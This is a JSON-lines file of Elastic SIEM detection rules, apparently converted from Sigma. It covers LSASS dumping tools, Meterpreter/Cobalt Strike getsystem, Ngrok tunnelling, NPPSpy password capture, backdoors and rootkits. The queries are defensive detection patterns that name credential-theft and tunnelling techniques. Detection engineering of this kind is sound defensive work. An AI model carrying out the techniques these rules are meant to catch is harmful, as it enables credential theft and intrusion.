{"description":"Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger. Author: xknow @xknow_infosec. License: ","enabled":false,"false_positives":["Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"85b0556c-eca8-829d-b67f-77c070968e2b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious ADSI-Cache Usage By Unknown Tool","query":"((file.path:*\\\\Local\\\\Microsoft\\\\Windows\\\\SchCache\\\\* AND file.path:*.sch) AND (NOT (process.executable:(\"C\\:\\\\windows\\\\system32\\\\svchost.exe\" OR \"C\\:\\\\windows\\\\system32\\\\dllhost.exe\" OR \"C\\:\\\\windows\\\\system32\\\\mmc.exe\" OR \"C\\:\\\\windows\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" OR \"C\\:\\\\Windows\\\\CCM\\\\CcmExec.exe\" OR \"C\\:\\\\Program\\ Files\\\\Cylance\\\\Desktop\\\\CylanceSvc.exe\" OR \"C\\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\"))))","meta":{"from":"1m"},"severity":"high","tags":["T1001"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking Author: xknow @xknow_infosec, Tim Shelton. License: ","enabled":false,"false_positives":["(not much) some benign Java tools may product false-positive commandlines for loading libraries"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f9c4bb0-7db9-e81d-b744-9a871a944a6b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Cmd.exe CommandLine Path Traversal","query":"((process.parent.command_line:*cmd* AND process.parent.command_line:*\\/c* AND process.command_line:*\\/..\\/..\\/*) AND (NOT ((process.command_line:*\\\\Tasktop\\\\keycloak\\\\bin\\\\\\/..\\/..\\/jre\\\\bin\\\\java*))))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking Author: xknow @xknow_infosec. License: ","enabled":false,"false_positives":["(not much) some benign Java tools may product false-positive commandlines for loading libraries"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f9c4bb0-7db9-e81d-b744-9a871a944a6b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Cmd.exe CommandLine Path Traversal","query":"(process.parent.command_line:*cmd* AND process.parent.command_line:*\\/c* AND process.command_line:*\\/..\\/..\\/*)","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the usage of Sysinternals Tools due to accepteula key being added to Registry Author: Markus Neis. License: ","enabled":false,"false_positives":["Legitimate use of SysInternals tools","Programs that use the same Registry Key"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7cccd811-7ae9-4ebe-9afd-cb5c406b824b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Usage of Sysinternals Tools","query":"process.command_line:*\\ \\-accepteula*","meta":{"from":"1m"},"severity":"low","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the usage of Sysinternals Tools due to accepteula key being added to Registry Author: Markus Neis. License: ","enabled":false,"false_positives":["Legitimate use of SysInternals tools","Programs that use the same Registry Key"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1cb183fc-de76-8f15-20c6-887ce82dde12","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Usage of Sysinternals Tools","query":"winlog.event_data.TargetObject:*\\\\EulaAccepted","meta":{"from":"1m"},"severity":"low","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF. Author: Christian Burkard. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"00ad272d-c72e-1637-47b3-328ade39d648","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Direct Syscall of NtOpenProcess","query":"winlog.event_data.CallTrace:UNKNOWN*","meta":{"from":"1m"},"severity":"critical","tags":["T1106"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1106","name":"Native API","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the usage of the unsafe bpftrace option Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Legitimate usage of the unsafe option"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"079abd3c-7cf8-fba3-5361-cfee68568d0c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"BPFtrace Unsafe Option Usage","query":"(process.executable:*bpftrace AND process.command_line:*\\-\\-unsafe*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"adc9bcc4-c39c-4f6b-a711-1884017bf043","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Network Sniffing","query":"process.executable:(*\\/tcpdump OR *\\/tshark)","meta":{"from":"1m"},"severity":"low","tags":["Credential Access","T1040"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1040","name":"Network Sniffing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder Author: Samir Bousseaden. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b929658d-2fb9-9155-7e83-b024f922ee8f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Hijack Legit RDP Session to Move Laterally","query":"(process.executable:*\\\\mstsc.exe AND file.path:*\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["T1219"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups. Author: @ROxPinTeddy, Nasreddine Bencherchali @nas_bench. License: ","enabled":false,"false_positives":["Legitimate administrative use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bef37fa2-f205-4a7b-b484-0759bfd5f86f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Advanced IP Scanner","query":"(process.executable:*\\\\advanced_ip_scanner* OR (process.command_line:*\\/portable* AND process.command_line:*\\/lng*))","meta":{"from":"1m"},"severity":"medium","tags":["T1046","T1135"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""},{"id":"T1135","name":"Network Share Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups. Author: @ROxPinTeddy. License: ","enabled":false,"false_positives":["Legitimate administrative use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ff685de9-6fe2-b5c7-ef34-af739bd1c06a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Advanced IP Scanner","query":"file.path:*\\\\AppData\\\\Local\\\\Temp\\\\Advanced\\ IP\\ Scanner\\ 2*","meta":{"from":"1m"},"severity":"medium","tags":["T1046"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Advanced Port Scanner. Author: Nasreddine Bencherchali @nas_bench. License: ","enabled":false,"false_positives":["Legitimate administrative use","Tools with similar commandline (very rare)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"54773c5f-f1cc-4703-9126-2f797d96a69d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Advanced Port Scanner","query":"(process.executable:*\\\\advanced_port_scanner* OR (process.command_line:*\\/portable* AND process.command_line:*\\/lng*))","meta":{"from":"1m"},"severity":"medium","tags":["T1046","T1135"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""},{"id":"T1135","name":"Network Share Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of at/atd Author: Ã–mer GÃ¼nal, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"d2d642d7-b393-43fe-bae4-e81ed5915c4b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Scheduled Task/Job At","query":"process.executable:(*\\/at OR *\\/atd)","meta":{"from":"1m"},"severity":"low","tags":["T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of CleanWipe a tool usually used to delete Symantec antivirus. Author: Nasreddine Bencherchali @nas_bench. License: ","enabled":false,"false_positives":["Legitimate administrative use"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f44800ac-38ec-471f-936e-3fa7d9c53100","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"CleanWipe Usage","query":"(process.executable:*\\\\SepRemovalToolNative_x64.exe OR (process.executable:*\\\\CATClean.exe AND process.command_line:*\\-\\-uninstall*) OR (process.executable:*\\\\NetInstaller.exe AND process.command_line:*\\-r*) OR (process.executable:*\\\\WFPUnins.exe AND process.command_line:*\\/uninstall* AND process.command_line:*\\/enterprise*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"08207c27-e98e-25ef-7544-5f98156994c2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CreateMiniDump Hacktool","query":"file.path:*\\\\lsass.dmp","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"36d88494-1d43-4dc0-b3fa-35c8fea0ca9d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"CreateMiniDump Hacktool","query":"(process.executable:*\\\\CreateMiniDump.exe* OR winlog.event_data.Imphash:\"4a07f944a83e8a7c2525efa35dd30e2f\")","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups. Author: Furkan Caliskan (@caliskanfurkan_). License: ","enabled":false,"false_positives":["Legitimate admin usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0ed48492-0277-c2d2-1b36-e39184e63cc4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DIT Snapshot Viewer Use","query":"(process.executable:*\\\\ditsnap.exe OR process.command_line:*ditsnap.exe*)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory Author: Florian Roth. License: ","enabled":false,"false_positives":["Very unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3328579f-5291-a2c4-ff38-80fd668eb7bc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Dumpert Process Dumper","query":"file.path:\"C\\:\\\\Windows\\\\Temp\\\\dumpert.dmp\"","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory Author: Florian Roth. License: ","enabled":false,"false_positives":["Very unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2704ab9e-afe2-4854-a3b1-0c0706d03578","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Dumpert Process Dumper","query":"winlog.event_data.Hashes:*09D278F9DE118EF09163C6140255C690*","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation Author: Teymur Kheirkhabarov, Ecco, Florian Roth. License: ","enabled":false,"false_positives":["Highly unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f2ef6ac5-11f4-091f-6e6a-3870a3c7d415","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Meterpreter or Cobalt Strike Getsystem Service Installation","query":"(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND ((winlog.event_data.ImagePath:*cmd* AND winlog.event_data.ImagePath:*\\/c* AND winlog.event_data.ImagePath:*echo* AND winlog.event_data.ImagePath:*\\\\pipe\\\\*) OR (winlog.event_data.ImagePath:*%COMSPEC%* AND winlog.event_data.ImagePath:*\\/c* AND winlog.event_data.ImagePath:*echo* AND winlog.event_data.ImagePath:*\\\\pipe\\\\*) OR (winlog.event_data.ImagePath:*cmd.exe* AND winlog.event_data.ImagePath:*\\/c* AND winlog.event_data.ImagePath:*echo* AND winlog.event_data.ImagePath:*\\\\pipe\\\\*) OR (winlog.event_data.ImagePath:*rundll32* AND winlog.event_data.ImagePath:*.dll,a* AND winlog.event_data.ImagePath:*\\/p\\:*) OR winlog.event_data.ImagePath:\\\\\\\\127.0.0.1\\\\ADMIN$\\\\*))","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1134","T1134"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1134","name":"Access Token Manipulation","reference":""},{"id":"T1134","name":"Access Token Manipulation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting Author: Teymur Kheirkhabarov, Ecco, Florian Roth. License: ","enabled":false,"false_positives":["Commandlines containing components like cmd accidentally","Jobs and services started with cmd"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1d50e3f1-26de-a663-481c-5f99a4c35c97","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Meterpreter or Cobalt Strike Getsystem Service Start","query":"((process.parent.executable:*\\\\services.exe AND ((process.command_line:*cmd* AND process.command_line:*\\/c* AND process.command_line:*echo* AND process.command_line:*\\\\pipe\\\\*) OR (process.command_line:*%COMSPEC%* AND process.command_line:*\\/c* AND process.command_line:*echo* AND process.command_line:*\\\\pipe\\\\*) OR (process.command_line:*cmd.exe* AND process.command_line:*\\/c* AND process.command_line:*echo* AND process.command_line:*\\\\pipe\\\\*) OR (process.command_line:*rundll32* AND process.command_line:*.dll,a* AND process.command_line:*\\/p\\:*))) AND (NOT (process.command_line:*MpCmdRun*)))","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1134","T1134"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1134","name":"Access Token Manipulation","reference":""},{"id":"T1134","name":"Access Token Manipulation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["None"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3ac94590-cf84-b43c-148b-8d2055053000","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Moriya Rootkit","query":"file.path:\"C\\:\\\\Windows\\\\System32\\\\drivers\\\\MoriyaStreamWatchmen.sys\"","meta":{"from":"1m"},"severity":"critical","tags":["Privilege Escalation","T1543"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections. Author: Florian Roth. License: ","enabled":false,"false_positives":["Another tool that uses the command line switches of Ngrok","ngrok http 3978 ()"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9945ecff-18f9-b5dc-6501-3397b0b81b07","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Ngrok Usage","query":"(process.command_line:(*\\ tcp\\ 139* OR *\\ tcp\\ 445* OR *\\ tcp\\ 3389* OR *\\ tcp\\ 5985* OR *\\ tcp\\ 5986*) OR (process.command_line:*\\ start\\ * AND process.command_line:*\\-\\-all* AND process.command_line:*\\-\\-config* AND process.command_line:*.yml*) OR (process.executable:*ngrok.exe AND process.command_line:(*\\ tcp\\ * OR *\\ http\\ * OR *\\ authtoken\\ *)))","meta":{"from":"1m"},"severity":"high","tags":["T1572"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the use of NirCmd tool for command execution as SYSTEM user Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use by administrators"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d9047477-0359-48c9-b8c7-792cedcdc9c4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"NirCmd Tool Execution As LOCAL SYSTEM","query":"(process.command_line:*elevatecmd* AND process.command_line:*runassystem*)","meta":{"from":"1m"},"severity":"high","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use by administrators"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4e2ed651-1906-4a59-a78a-18220fca1b22","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"NirCmd Tool Execution","query":"(process.executable:*\\\\nircmd.exe OR (process.command_line:*\\ execmd\\ * AND process.command_line:*\\ attrib\\ *) OR (process.command_line:*\\ execmd\\ * AND process.command_line:*\\ copy\\ *) OR (process.command_line:*\\ execmd\\ * AND process.command_line:*\\ del\\ * AND process.command_line:*\\ \\/Q\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f701a0fd-e755-a65f-58b5-668df3ebfb01","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"NPPSpy Hacktool Usage","query":"file.path:(*\\\\NPPSpy.txt OR *\\\\NPPSpy.dll)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the use of NSudo tool for command execution Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use by administrators"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"771d1eb5-9587-4568-95fb-9ec44153a012","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"NSudo Tool Execution As System","query":"(process.executable:*\\\\NSudo.exe AND process.command_line:*\\ \\-U\\:S\\ *)","meta":{"from":"1m"},"severity":"high","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Very unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"49f208eb-37f6-fee6-f6d2-ee5b86e04797","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Pingback Backdoor","query":"(process.executable:*updata.exe AND file.path:\"C\\:\\\\Windows\\\\oci.dll\")","meta":{"from":"1m"},"severity":"high","tags":["T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["Very unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b2400ffb-7680-47c0-b08a-098a7de7e7a9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Pingback Backdoor","query":"(process.parent.executable:*updata.exe AND process.command_line:*config* AND process.command_line:*msdtc* AND process.command_line:*start* AND process.command_line:*auto*)","meta":{"from":"1m"},"severity":"high","tags":["T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions. Author: @ROxPinTeddy. License: ","enabled":false,"false_positives":["Legitimate use of Winrar command line version","Other command line tools, that use these flags"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"31396283-007d-ca1d-be90-501978683d45","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rar Usage with Password and Compression Level","query":"(process.command_line:*\\ \\-hp* AND process.command_line:(*\\ \\-m* OR *\\ a\\ *))","meta":{"from":"1m"},"severity":"high","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions. Author: @ROxPinTeddy. License: ","enabled":false,"false_positives":["Legitimate use of Winrar command line version","Other command line tools, that use these flags"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f3638d0-684d-aafe-86d3-07a79daea037","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Rar with Password or Compression Level","query":"(process.command_line:*\\ \\-hp* AND process.command_line:(*\\ \\-m* OR *\\ a\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of RunXCmd tool for command execution Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use by administrators"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"93199800-b52a-4dec-b762-75212c196542","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RunXCmd Tool Execution As System","query":"(process.command_line:*\\ \\/account\\=system\\ * AND process.command_line:*\\/exec\\=*)","meta":{"from":"1m"},"severity":"high","tags":["T1569"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1569","name":"System Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe Author: Austin Songer (@austinsonger). License: ","enabled":false,"false_positives":["Legitimate usage of stordiag.exe."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"961e0abb-1b1e-4c84-a453-aafe56ad0d34","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Execution via stordiag.exe","query":"((process.parent.executable:*\\\\stordiag.exe AND process.executable:(*\\\\schtasks.exe OR *\\\\systeminfo.exe OR *\\\\fltmc.exe)) AND (NOT (process.parent.executable:(c\\:\\\\windows\\\\system32\\\\* OR c\\:\\\\windows\\\\syswow64\\\\*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
